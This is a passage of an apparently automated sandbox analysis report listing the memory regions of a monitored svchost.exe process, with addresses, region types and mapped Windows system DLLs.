"private_0x00000000014c0000" filename = "" Region: id = 6543 start_va = 0x15b0000 end_va = 0x162ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015b0000" filename = "" Region: id = 6544 start_va = 0x1710000 end_va = 0x171ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001710000" filename = "" Region: id = 6545 start_va = 0x1730000 end_va = 0x17affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001730000" filename = "" Region: id = 6546 start_va = 0x1920000 end_va = 0x1a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001920000" filename = "" Region: id = 6547 start_va = 0x1a80000 end_va = 0x1afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a80000" filename = "" Region: id = 6548 start_va = 0x1ba0000 end_va = 0x1baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ba0000" filename = "" Region: id = 6549 start_va = 0x1bc0000 end_va = 0x1c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001bc0000" filename = "" Region: id = 6550 start_va = 0x1c40000 end_va = 0x1d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c40000" filename = "" Region: id = 6551 start_va = 0x1e20000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 6552 start_va = 0x1fd0000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 6553 start_va = 0x1fe0000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 6554 start_va = 0x2100000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 6555 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 6556 start_va = 0x2240000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 6557 start_va = 0x2340000 end_va = 0x243ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 6558 start_va = 0x2530000 end_va = 0x253ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 6559 start_va = 0x73440000 end_va = 0x73442fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 6560 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6561 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 6562 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6563 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 6564 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 6565 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6566 start_va = 0xffa90000 end_va = 0xffa9afff monitored = 0 entry_point = 0xffa9246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 6567 start_va = 0x7fef4710000 end_va = 0x7fef472bfff monitored = 0 entry_point = 0x7fef47111a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 6568 start_va = 0x7fef4730000 end_va = 0x7fef4791fff monitored = 0 entry_point = 0x7fef4731198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 6569 start_va = 0x7fef47a0000 end_va = 0x7fef47d9fff monitored = 0 entry_point = 0x7fef47a1010 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 6570 start_va = 0x7fef47e0000 end_va = 0x7fef48b7fff monitored = 0 entry_point = 0x7fef4848bd0 region_type = mapped_file name = "rasdlg.dll" filename = "\\Windows\\System32\\rasdlg.dll" (normalized: "c:\\windows\\system32\\rasdlg.dll") Region: id = 6571 start_va = 0x7fef48c0000 end_va = 0x7fef491bfff monitored = 0 entry_point = 0x7fef48c8c20 region_type = mapped_file name = "netman.dll" filename = "\\Windows\\System32\\netman.dll" (normalized: "c:\\windows\\system32\\netman.dll") Region: id = 6572 start_va = 0x7fef4b60000 end_va = 0x7fef4deafff monitored = 0 entry_point = 0x7fef4b66f5c region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 6573 start_va = 0x7fef8760000 end_va = 0x7fef876bfff monitored = 0 entry_point = 0x7fef876419c region_type = mapped_file name = "apphlpdm.dll" filename = "\\Windows\\System32\\Apphlpdm.dll" (normalized: "c:\\windows\\system32\\apphlpdm.dll") Region: id = 6574 start_va = 0x7fef8770000 end_va = 0x7fef8786fff monitored = 0 entry_point = 0x7fef877d308 region_type = mapped_file name = "portabledeviceconnectapi.dll" filename = "\\Windows\\System32\\PortableDeviceConnectApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceconnectapi.dll") Region: id = 6575 start_va = 0x7fef87e0000 end_va = 0x7fef885bfff monitored = 0 entry_point = 0x7fef87e11d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 6576 start_va = 0x7fef8950000 end_va = 0x7fef8a0cfff monitored = 0 entry_point = 0x7fef8951ea4 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 6577 start_va = 0x7fef8f90000 end_va = 0x7fef8ffafff monitored = 0 entry_point = 0x7fef8fd4344 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 6578 start_va = 0x7fef9000000 end_va = 0x7fef9012fff monitored = 0 entry_point = 0x7fef9001d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 6579 start_va = 0x7fef91e0000 end_va = 0x7fef9263fff monitored = 0 entry_point = 0x7fef9231118 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 6580 start_va = 0x7fef92e0000 end_va = 0x7fef92edfff monitored = 0 entry_point = 0x7fef92e5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 6581 start_va = 0x7fef92f0000 end_va = 0x7fef9316fff monitored = 0 entry_point = 0x7fef92f11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 6582 start_va = 0x7fef9320000 end_va = 0x7fef93f2fff monitored = 0 entry_point = 0x7fef9398b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 6583 start_va = 0x7fef9580000 end_va = 0x7fef95f6fff monitored = 0 entry_point = 0x7fef95be7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 6584 start_va = 0x7fef9640000 end_va = 0x7fef9661fff monitored = 0 entry_point = 0x7fef9641020 region_type = mapped_file name = "trkwks.dll" filename = "\\Windows\\System32\\trkwks.dll" (normalized: "c:\\windows\\system32\\trkwks.dll") Region: id = 6585 start_va = 0x7fef9820000 end_va = 0x7fef982ffff monitored = 0 entry_point = 0x7fef9821010 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 6586 start_va = 0x7fef9830000 end_va = 0x7fef9841fff monitored = 0 entry_point = 0x7fef9831050 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 6587 start_va = 0x7fef9850000 end_va = 0x7fef98a6fff monitored = 0 entry_point = 0x7fef9851118 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 6588 start_va = 0x7fef98b0000 end_va = 0x7fef98e2fff monitored = 0 entry_point = 0x7fef98b101c region_type = mapped_file name = "pcasvc.dll" filename = "\\Windows\\System32\\pcasvc.dll" (normalized: "c:\\windows\\system32\\pcasvc.dll") Region: id = 6589 start_va = 0x7fef98f0000 end_va = 0x7fef9908fff monitored = 0 entry_point = 0x7fef98f2b50 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 6590 start_va = 0x7fefa720000 end_va = 0x7fefa72ffff monitored = 0 entry_point = 0x7fefa7227f0 region_type = mapped_file name = "uxsms.dll" filename = "\\Windows\\System32\\uxsms.dll" (normalized: "c:\\windows\\system32\\uxsms.dll") Region: id = 6591 start_va = 0x7fefa730000 end_va = 0x7fefa73afff monitored = 0 entry_point = 0x7fefa731198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 6592 start_va = 0x7fefa740000 end_va = 0x7fefa766fff monitored = 0 entry_point = 0x7fefa7498bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 6593 start_va = 0x7fefa810000 end_va = 0x7fefa81afff monitored = 0 entry_point = 0x7fefa814f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 6594 start_va = 0x7fefa820000 end_va = 0x7fefa82bfff monitored = 0 entry_point = 0x7fefa8215d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 6595 start_va = 0x7fefa840000 end_va = 0x7fefa858fff monitored = 0 entry_point = 0x7fefa8411a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 6596 start_va = 0x7fefa8a0000 end_va = 0x7fefa8dcfff monitored = 0 entry_point = 0x7fefa8a1b7c region_type = mapped_file name = "mstask.dll" filename = "\\Windows\\System32\\mstask.dll" (normalized: "c:\\windows\\system32\\mstask.dll") Region: id = 6597 start_va = 0x7fefa8e0000 end_va = 0x7fefa8f4fff monitored = 0 entry_point = 0x7fefa8e60d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 6598 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 6599 start_va = 0x7fefab00000 end_va = 0x7fefab2ffff monitored = 0 entry_point = 0x7fefab1fe98 region_type = mapped_file name = "peerdist.dll" filename = "\\Windows\\System32\\PeerDist.dll" (normalized: "c:\\windows\\system32\\peerdist.dll") Region: id = 6600 start_va = 0x7fefab30000 end_va = 0x7fefabdbfff monitored = 0 entry_point = 0x7fefab418d0 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 6601 start_va = 0x7fefac00000 end_va = 0x7fefac08fff monitored = 0 entry_point = 0x7fefac01010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 6602 start_va = 0x7fefac10000 end_va = 0x7fefac3bfff monitored = 0 entry_point = 0x7fefac115c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 6603 start_va = 0x7fefac40000 end_va = 0x7fefacebfff monitored = 0 entry_point = 0x7fefac56acc region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 6604 start_va = 0x7fefacf0000 end_va = 0x7fefad1cfff monitored = 0 entry_point = 0x7fefacf1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 6605 start_va = 0x7fefad20000 end_va = 0x7fefad30fff monitored = 0 entry_point = 0x7fefad214c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 6606 start_va = 0x7fefad60000 end_va = 0x7fefad9efff monitored = 0 entry_point = 0x7fefad612c0 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 6607 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 6608 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 6609 start_va = 0x7fefb1b0000 end_va = 0x7fefb1fafff monitored = 0 entry_point = 0x7fefb1befcc region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 6610 start_va = 0x7fefb620000 end_va = 0x7fefb74bfff monitored = 0 entry_point = 0x7fefb6294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 6611 start_va = 0x7fefb7a0000 end_va = 0x7fefb993fff monitored = 0 entry_point = 0x7fefb92c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 6612 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6613 start_va = 0x7fefbff0000 end_va = 0x7fefc00afff monitored = 0 entry_point = 0x7fefbff2068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 6614 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 6615 start_va = 0x7fefc030000 end_va = 0x7fefc041fff monitored = 0 entry_point = 0x7fefc031060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 6616 start_va = 0x7fefc160000 end_va = 0x7fefc169fff monitored = 0 entry_point = 0x7fefc163cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 6617 start_va = 0x7fefc170000 end_va = 0x7fefc17cfff monitored = 0 entry_point = 0x7fefc171348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 6618 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6619 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 6620 start_va = 0x7fefc6d0000 end_va = 0x7fefc6f1fff monitored = 0 entry_point = 0x7fefc6d5d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 6621 start_va = 0x7fefc750000 end_va = 0x7fefc77efff monitored = 0 entry_point = 0x7fefc751064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 6622 start_va = 0x7fefc790000 end_va = 0x7fefc7fcfff monitored = 0 entry_point = 0x7fefc791010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 6623 start_va = 0x7fefcb00000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcb01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 6624 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 6625 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6626 start_va = 0x7fefcc10000 end_va = 0x7fefcc4cfff monitored = 0 entry_point = 0x7fefcc118f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 6627 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 6628 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 6629 start_va = 0x7fefcd10000 end_va = 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 6630 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6631 start_va = 0x7fefcd90000 end_va = 0x7fefcefcfff monitored = 0 entry_point = 0x7fefcd910b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 6632 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 6633 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 6634 start_va = 0x7fefd000000 end_va = 0x7fefd03afff monitored = 0 entry_point = 0x7fefd001324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 6635 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 6636 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 6637 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6638 start_va = 0x7fefd6f0000 end_va = 0x7fefe477fff monitored = 0 entry_point = 0x7fefd76cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 6639 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 6640 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6641 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 6642 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 6643 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 6644 start_va = 0x7fefea60000 end_va = 0x7fefeab1fff monitored = 0 entry_point = 0x7fefea610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 6645 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 6646 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6647 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 6648 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6649 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 6650 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 6651 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 6652 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6653 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 6654 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 6655 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 6656 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 6657 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 6658 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 6659 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 6660 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 6661 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 6662 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 6663 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 6664 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 6665 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 6666 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 6667 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 6668 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 6669 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 6670 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 6671 start_va = 0x7fffffde000 end_va = 